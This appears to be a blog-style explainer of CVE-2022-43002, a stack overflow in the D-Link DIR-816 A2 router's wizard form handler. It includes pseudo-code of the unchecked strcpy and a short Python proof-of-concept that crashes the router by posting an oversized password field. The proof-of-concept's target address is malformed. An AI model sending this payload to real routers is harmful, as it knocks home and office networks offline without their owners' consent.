In late 2022, cybersecurity researchers uncovered a critical vulnerability, CVE-2022-43002, plaguing certain D-Link routers, specifically the DIR-816 A2 with firmware version 1.10 B05. This issue stems from a stack overflow in how the router handles a particular web form parameter: wizardstep54_pskpwd. Understanding this bug is crucial because it can allow attackers to gain control of your router and ultimately your network.

In this article, we’ll break down CVE-2022-43002 with simple explanations, relevant code snippets, references, and even walk you through the exploitation process — all in plain English.

What is the DIR-816 A2?

The D-Link DIR-816 is a widely used wireless dual-band router. Version A2 with firmware 1.10 B05 is a specific hardware and software revision, often used in homes and small offices.

Vulnerability: Stack overflow in parameter handling

- Affected Endpoint: /goform/form2WizardStep54

Firmware: DIR-816 A2, v1.10 B05

When a user (or attacker) sends data to the router’s web admin at this endpoint, a mishandled field can overrun the program’s local variables — letting a hacker overwrite memory, crash the router, or run arbitrary code.

- NVD CVE Page
- Exploit Database (EDB #51309)
- GitHub PoC Example
- D-Link Product Page

Vulnerability Details

The web configuration interface of the DIR-816 listens for POST requests on various endpoints. When you set up Wi-Fi using their “wizard” web page, it sends multiple parameters including your Wi-Fi password – wizardstep54_pskpwd. Unfortunately, the application does not check how long this password is. If you send a very long password, it overruns the buffer and corrupts the stack.

The flaw lies in code similar to this (simplified pseudo-code)

void handle_wizardstep54_pskpwd(char* user_input) {
    char buffer[64];         // Buffer is only 64 bytes
    strcpy(buffer, user_input); // No length check!
    // ... process Wi-Fi password
}


Here, strcpy() copies everything from user_input to buffer with no bounds checking. If user_input is longer than 64 bytes, it will overwrite adjacent memory on the stack.

Below is a proof of concept (PoC) script that sends an oversized password field

import requests

# Change to your router's actual IP address
target_url = "http://192.168..1/goform/form2WizardStep54";

# 256 'A's will overflow the stack buffer
data = {
    "wizardstep54_pskpwd": "A" * 256,
    # Add other expected form fields to look more normal, if needed
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
}

response = requests.post(target_url, data=data, headers=headers)

print(f"Status code: {response.status_code}")
print(f"Response body: {response.text}")

Denial of Service (DoS): The simplest attack will crash your router, causing downtime.

- Remote Code Execution: With deeper exploitation, an attacker can run any command with root/admin permissions — changing your DNS, spying on your traffic, etc.

Conclusion

CVE-2022-43002 is a serious vulnerability due to its simplicity and high impact. Home and small-business routers are juicy targets for attackers, and bugs like this make it easy for them.  
Make sure to keep your router updated and limit access to its management interface!

If you’re a researcher or network admin, always test responsibly. Never use exploits on devices you don’t own or have explicit permission to test.

References

- NVD - CVE-2022-43002
- Exploit-DB 51309
- GitHub PoC
- D-Link DIR-816 Product Page

Timeline

Published on: 10/26/2022 19:15:00 UTC
Last modified on: 10/28/2022 14:45:00 UTC